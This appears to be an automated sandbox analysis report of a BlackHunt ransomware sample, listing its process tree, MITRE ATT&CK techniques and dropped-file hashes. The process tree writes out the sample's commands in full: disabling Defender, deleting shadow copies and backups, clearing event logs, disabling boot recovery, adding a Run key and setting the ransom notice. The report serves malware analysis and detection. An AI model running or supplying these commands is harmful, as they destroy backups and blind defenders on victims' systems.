  PID:1300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:936
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1984
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3304
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3848
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\2ba1f078b4f8a609f3b7aaf8852f3c6eb44ac0bb4c9368ec14c026259c9ede87.exe"
  2⤵
  - Deletes itself
  PID:3872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  - Modifies registry class
  PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:1084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:936

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2660

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:560

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2880
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3632

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1172

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:2708

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2592

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:1968

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:2016

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:1444

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2520

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:2532
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1772

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3032

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2388

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:904

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2656
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1160

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2016

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2088

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2752

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:976

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:480

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2268

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:2996

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:2960

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2968

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:1600

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:2816

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2580

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2980

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:2644

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-44608848942226975-1503731876-2120623488-1811277401-12787588531100136051489308905"
1⤵
PID:2016

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2636

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2720

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2112

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:3992

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:3564

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:3748

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
1⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1768

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:3936

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3772

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
1⤵
- Runs ping.exe
PID:3688

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:3996

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:3888

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:3752

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:3420

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:3412

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3680

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2620

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3776

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3560

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
- Enumerates connected drives
PID:3256

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:3268

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-403818770-5787790301460639591395378841-258613901864365312-1950163681211449463"
1⤵
- Enumerates connected drives
PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
d614d08263661f317a7fb840036d7fc2

SHA1
8bb0aa39cbe5c6f05a7c09845575780f3307a99e

SHA256
f7e2aedda6ce538eaf8194b187b56c7a216dd7dc111b99202086b4586c9cc964

SHA512
f233c8abdb46f06a94fdc96a210b8815406753eca42b58cf3bd2ed98f6ca20d12a70c5136916b2f23bf13535bd41ed72293dd70d15c55e423eb1b7509d670bfa

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
40d6bbad804abb45fd92a42b8aa77668

SHA1
b2e9e96828e8a385ebcca22a2c1e571c7183f730

SHA256
3f3c745f7dede01cbfef77fa405bbf7f27301cce8151dc29a2b75f9f086b860f

SHA512
fdb8099ab48a259bdbefaad71640c5505cc56caffda50bebfa2e3d88c91df86235736e0f766ce0f50b7c43c4f0caf41ada871643a361c43f8eff2c7647a28977

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
85a5c13518f1f6ddefa13598b8bdef33

SHA1
e65c518a0f845fd082c48d4a39682be0cf4b918c

SHA256
5712a2a9d734d4015924c5929376850f5e4cdd63e9a05a644a670d7c8cc93546

SHA512
2e73e4f009769effdbc93f1cbe81972e82627234fdd803e89d71903ec80feee33fb3fb20900b1b2dffee693a49497bf3a1e7853690c2e4392e79d46a5eb33ea2

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads